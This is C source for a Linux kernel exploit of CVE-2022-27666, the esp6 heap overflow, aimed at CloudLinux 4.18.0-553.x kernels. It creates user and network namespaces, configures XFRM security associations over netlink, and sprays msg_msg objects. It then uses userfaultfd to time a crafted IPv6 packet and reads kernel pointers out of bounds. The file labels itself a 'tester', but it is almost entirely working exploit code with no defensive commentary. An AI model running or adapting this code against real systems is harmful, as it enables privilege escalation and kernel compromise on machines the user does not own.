/*
 * CVE-2022-27666 - Linux kernel esp6 heap overflow LPE
 * esp6_output_head() -> skb_page_frag_refill() size miscalculation
 * userfaultfd-based timing (no FUSE needed)
 * Target: CloudLinux 4.18.0-553.x
 */
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <sched.h>
#include <pthread.h>
#include <errno.h>
#include <stdint.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/wait.h>
#include <sys/mman.h>
#include <sys/ioctl.h>
#include <sys/msg.h>
#include <sys/syscall.h>
#include <sys/stat.h>
#include <poll.h>
#include <netinet/in.h>
#include <linux/netlink.h>
#include <linux/userfaultfd.h>

#define MSG_PAYLOAD     208
#define SPRAY_N         256
#define IPC_PRIVATE     0
#define IPC_CREAT       0001000
#define IPC_RMID        0
#define MSG_COPY        040000
#define IPC_NOWAIT      04000

#define XFRM_MSG_NEWSA      17
#define XFRM_MSG_NEWPOLICY  20
#define NLMSG_ERROR         2
#define XFRMA_ALG_AEAD      9
#define XFRMA_TMPL          4
#define NLM_F_REQUEST       0x01
#define NLM_F_ACK           0x04
#define NLM_F_CREATE        0x400
#define NETLINK_XFRM        6
#define XFRM_MODE_TRANSPORT 0

#define PAGE_SIZE 4096
#define KPTR_MIN  0xffff800000000000ULL

static int pa[2], pb[2];
static int msqids[SPRAY_N*2];
static int n_msq = 0;
static int g_uffd = -1;
static volatile int g_uffd_fired = 0;
static char *g_uffd_resolve_page = NULL;

static void wf(const char *path, const char *data) {
    int fd = open(path, O_WRONLY);
    if (fd < 0) return;
    write(fd, data, strlen(data));
    close(fd);
}

static void nl_send(int s, int type, int flags, void *data, int len) {
    char hdr[16] = {0};
    *(uint32_t*)(hdr+0) = 16+len;
    *(uint16_t*)(hdr+4) = type;
    *(uint16_t*)(hdr+6) = flags;
    *(uint32_t*)(hdr+8) = 1;
    *(uint32_t*)(hdr+12) = getpid();
    struct iovec iov[2] = {{hdr,16},{data,len}};
    struct msghdr m = {0};
    m.msg_iov = iov; m.msg_iovlen = 2;
    sendmsg(s, &m, 0);
}

static int nl_recv_err(int s) {
    char buf[256];
    alarm(3);
    int r = recv(s, buf, sizeof(buf), 0);
    alarm(0);
    if (r < 20) return -999;
    if (*(uint16_t*)(buf+4) == NLMSG_ERROR)
        return *(int*)(buf+16);
    return 0;
}

static char *put_nla(char *p, int t, void *d, int l) {
    *(uint16_t*)p = 4+l; *(uint16_t*)(p+2) = t;
    memcpy(p+4, d, l);
    int pad = (4+l+3)&~3;
    memset(p+4+l, 0, pad-4-l);
    return p+pad;
}

static int setup_xfrm_sa(int xs, uint8_t *s6, uint8_t *d6,
                          uint32_t spi, uint8_t *key, int kb, int ib) {
    char buf[512] = {0}; char *p = buf;
    p += 56; /* sel */
    memcpy(p, d6, 16); p += 16; /* id.daddr */
    *(uint32_t*)p = htonl(spi); p += 4; /* id.spi */
    *p++ = IPPROTO_ESP; p += 3; /* id.proto */
    memcpy(p, s6, 16); p += 16; /* saddr */
    memset(p, 0xff, 32); p += 32; /* lft */
    p += 48; /* curlft+stats */
    *(uint32_t*)p = 0; p += 4; /* seq */
    *(uint32_t*)p = htonl(1); p += 4; /* reqid */
    *(uint16_t*)p = 10; p += 2; /* family=AF_INET6 */
    *p++ = 0; *p++ = 32; *p++ = 0; p += 3; /* mode, rw, flags, pad */

    char aead[200] = {0};
    strncpy(aead, "rfc4106(gcm(aes))", 64);
    *(uint32_t*)(aead+64) = kb;
    *(uint32_t*)(aead+68) = ib;
    memcpy(aead+72, key, (kb+7)/8);
    p = put_nla(p, XFRMA_ALG_AEAD, aead, 72+(kb+7)/8);

    nl_send(xs, XFRM_MSG_NEWSA, NLM_F_REQUEST|NLM_F_ACK|NLM_F_CREATE, buf, p-buf);
    return nl_recv_err(xs);
}

static int setup_xfrm_policy(int xs, uint8_t *s6, uint8_t *d6, uint32_t spi) {
    char buf[512] = {0}; char *p = buf;
    p += 56; /* sel */
    memset(p, 0xff, 32); p += 32; /* lft */
    p += 32; /* curlft */
    p += 4+4; /* priority, index */
    *p++ = 1; /* dir=OUT */
    *p++ = 0; /* action=allow */
    p += 2+12; /* flags, share, pad */

    char tmpl[72] = {0};
    memcpy(tmpl, d6, 16);
    *(uint32_t*)(tmpl+16) = htonl(spi);
    tmpl[20] = IPPROTO_ESP;
    *(uint16_t*)(tmpl+24) = 10; /* AF_INET6 */
    memcpy(tmpl+26, s6, 16);
    *(uint32_t*)(tmpl+42) = htonl(1); /* reqid */
    tmpl[46] = 0; /* transport */
    *(uint32_t*)(tmpl+50) = 0xffffffff;
    *(uint32_t*)(tmpl+54) = 0xffffffff;
    *(uint32_t*)(tmpl+58) = 0xffffffff;
    *(uint16_t*)(tmpl+62) = 10;
    p = put_nla(p, XFRMA_TMPL, tmpl, 64);

    nl_send(xs, XFRM_MSG_NEWPOLICY, NLM_F_REQUEST|NLM_F_ACK|NLM_F_CREATE, buf, p-buf);
    return nl_recv_err(xs);
}

static void spray_msg(int count, char fill) {
    char msg[MSG_PAYLOAD + 8];
    *(long*)msg = 1;
    memset(msg+8, fill, MSG_PAYLOAD);
    for (int i = 0; i < count && n_msq < SPRAY_N*2; i++) {
        int id = msgget(IPC_PRIVATE, IPC_CREAT|0600);
        if (id < 0) continue;
        msqids[n_msq++] = id;
        msgsnd(id, msg, MSG_PAYLOAD, 0);
    }
}

static void *uffd_handler(void *arg) {
    struct {
        uint8_t event; uint8_t pad[7];
        union { struct { uint64_t addr; uint64_t flags; } pagefault; } arg;
    } msg;
    struct pollfd pfd = {g_uffd, POLLIN, 0};
    while (1) {
        poll(&pfd, 1, -1);
        if (read(g_uffd, &msg, sizeof(msg)) < 8) continue;
        if (msg.event != 0x12) continue; /* UFFD_EVENT_PAGEFAULT */
        printf("[+] uffd fault @ 0x%llx\n", (unsigned long long)msg.arg.pagefault.addr);
        g_uffd_fired = 1;
        /* Spray more msg_msg while kernel is stalled */
        spray_msg(64, 'Y');
        /* Resolve */
        uint64_t copy_args[5] = {
            (uint64_t)g_uffd_resolve_page,
            msg.arg.pagefault.addr & ~(PAGE_SIZE-1ULL),
            PAGE_SIZE, 0, 0
        };
        ioctl(g_uffd, /* UFFDIO_COPY= */ _IOWR(0xaa, 0x3, char[40]), copy_args);
    }
    return NULL;
}

static char *make_uffd_buf(void) {
    g_uffd = syscall(SYS_userfaultfd, O_CLOEXEC|O_NONBLOCK);
    if (g_uffd < 0) { perror("uffd"); return NULL; }
    uint64_t api_args[3] = {0xAA, 0, 0}; /* UFFD_API */
    ioctl(g_uffd, _IOWR(0xaa, 0x3f, char[24]), api_args);
    struct { uint64_t start, len; uint64_t mode, ioctls; } ua = {0, 0, 0xAA, 0};
    ua.start = 0; ua.len = 0; ua.mode = 1; /* will fill below */

    char *addr = mmap(NULL, 2*PAGE_SIZE, PROT_READ|PROT_WRITE,
                      MAP_PRIVATE|MAP_ANONYMOUS, -1, 0);
    if (addr == MAP_FAILED) { perror("mmap"); return NULL; }
    g_uffd_resolve_page = addr + PAGE_SIZE;
    memset(g_uffd_resolve_page, 'P', PAGE_SIZE);

    /* Register first page */
    struct { uint64_t start, len; uint64_t mode; uint64_t ioctls; } reg;
    reg.start = (uint64_t)addr; reg.len = PAGE_SIZE;
    reg.mode = 1; /* UFFDIO_REGISTER_MODE_MISSING */
    reg.ioctls = 0;
    ioctl(g_uffd, _IOWR(0xaa, 0x00, char[32]), &reg);

    madvise(addr, PAGE_SIZE, MADV_DONTNEED);
    pthread_t tid; pthread_create(&tid, NULL, uffd_handler, NULL); pthread_detach(tid);
    return addr;
}

static int check_oob(void) {
    int found = 0;
    char buf[(MSG_PAYLOAD+512) + 8];
    for (int i = 0; i < n_msq; i++) {
        ssize_t r = msgrcv(msqids[i], buf, sizeof(buf)-8, 0, MSG_COPY|IPC_NOWAIT);
        if (r > MSG_PAYLOAD) {
            printf("[!] OOB msqid=%d read=%zd extra=%zd\n", msqids[i], r, r-MSG_PAYLOAD);
            uint8_t *data = (uint8_t*)buf + 8;
            for (int j = MSG_PAYLOAD; j < r-7 && j < MSG_PAYLOAD+128; j += 8) {
                uint64_t val; memcpy(&val, data+j, 8);
                if (val >= KPTR_MIN)
                    printf("  KPTR[%d]=0x%016llx\n", j-MSG_PAYLOAD, (unsigned long long)val);
            }
            found++;
        }
    }
    return found;
}

static void do_exploit(void) {
    printf("[*] uid=%d gid=%d\n", getuid(), getgid());

    int xs = socket(AF_NETLINK, SOCK_RAW, NETLINK_XFRM);
    struct sockaddr_nl nl = {.nl_family = AF_NETLINK};
    bind(xs, (void*)&nl, sizeof(nl));

    uint8_t src6[16] = {0xfe,0x80,0,0,0,0,0,0,0,0,0,0,0,0,0,1};
    uint8_t dst6[16] = {0xfe,0x80,0,0,0,0,0,0,0,0,0,0,0,0,0,2};
    uint8_t key[20] = {0};

    int e = setup_xfrm_sa(xs, src6, dst6, 0xdeadbeef, key, 160, 128);
    printf("[*] NEWSA: errno=%d\n", e);
    e = setup_xfrm_policy(xs, src6, dst6, 0xdeadbeef);
    printf("[*] NEWPOLICY: errno=%d\n", e);
    close(xs);

    system("ip link set lo up 2>/dev/null");
    system("ip -6 addr add fe80::1/64 dev lo 2>/dev/null");
    system("ip -6 addr add fe80::2/64 dev lo 2>/dev/null");

    spray_msg(SPRAY_N, 'X');
    printf("[*] sprayed %d msg_msg\n", n_msq);

    char *uffd_buf = make_uffd_buf();
    if (!uffd_buf) { printf("[-] uffd failed\n"); goto done; }

    int raw6 = socket(AF_INET6, SOCK_RAW, IPPROTO_UDP);
    if (raw6 < 0) { perror("raw6"); goto done; }

    char udppkt[20] = {0x27,0x10, 0x00,0x35, 0x00,0x14, 0,0, 'H','A','C','K'};
    struct iovec iov[2] = {{udppkt,8},{uffd_buf,4}};
    struct sockaddr_in6 dst = {.sin6_family=10, .sin6_port=htons(53), .sin6_scope_id=1};
    memcpy(&dst.sin6_addr, dst6, 16);
    struct msghdr mh = {&dst, sizeof(dst), iov, 2};
    int s = sendmsg(raw6, &mh, 0);
    printf("[*] sendmsg=%d errno=%d uffd_fired=%d\n", s, errno, g_uffd_fired);
    close(raw6);

    usleep(200000);
    int oob = check_oob();
    printf("[%s] OOB detections: %d\n", oob?"+":" -", oob);

done:
    for (int i = 0; i < n_msq; i++) msgctl(msqids[i], IPC_RMID, NULL);
}

int main(void) {
    printf("[*] CVE-2022-27666 tester\n");
    if (pipe(pa)||pipe(pb)) { perror("pipe"); return 1; }
    pid_t child = fork();
    if (child < 0) { perror("fork"); return 1; }
    if (child == 0) {
        close(pa[0]); close(pb[1]);
        if (unshare(CLONE_NEWUSER|CLONE_NEWNET) < 0) { perror("unshare"); _exit(1); }
        write(pa[1], "1", 1); close(pa[1]);
        char c; read(pb[0], &c, 1); close(pb[0]);
        if (c!='1') _exit(1);
        do_exploit();
        _exit(0);
    }
    close(pa[1]); close(pb[0]);
    char c; read(pa[0], &c, 1); close(pa[0]);
    char path[256], buf[64];
    snprintf(path,sizeof(path),"/proc/%d/uid_map",child);
    snprintf(buf,sizeof(buf),"0 %d 1\n",getuid());
    int fd=open(path,O_WRONLY); write(fd,buf,strlen(buf)); close(fd);
    snprintf(path,sizeof(path),"/proc/%d/setgroups",child);
    fd=open(path,O_WRONLY); if(fd>=0){write(fd,"deny",4);close(fd);}
    snprintf(path,sizeof(path),"/proc/%d/gid_map",child);
    snprintf(buf,sizeof(buf),"0 %d 1\n",getgid());
    fd=open(path,O_WRONLY); if(fd>=0){write(fd,buf,strlen(buf));close(fd);}
    write(pb[1], "1", 1); close(pb[1]);
    int st; waitpid(child, &st, 0);
    printf("[*] done\n");
    return 0;
}
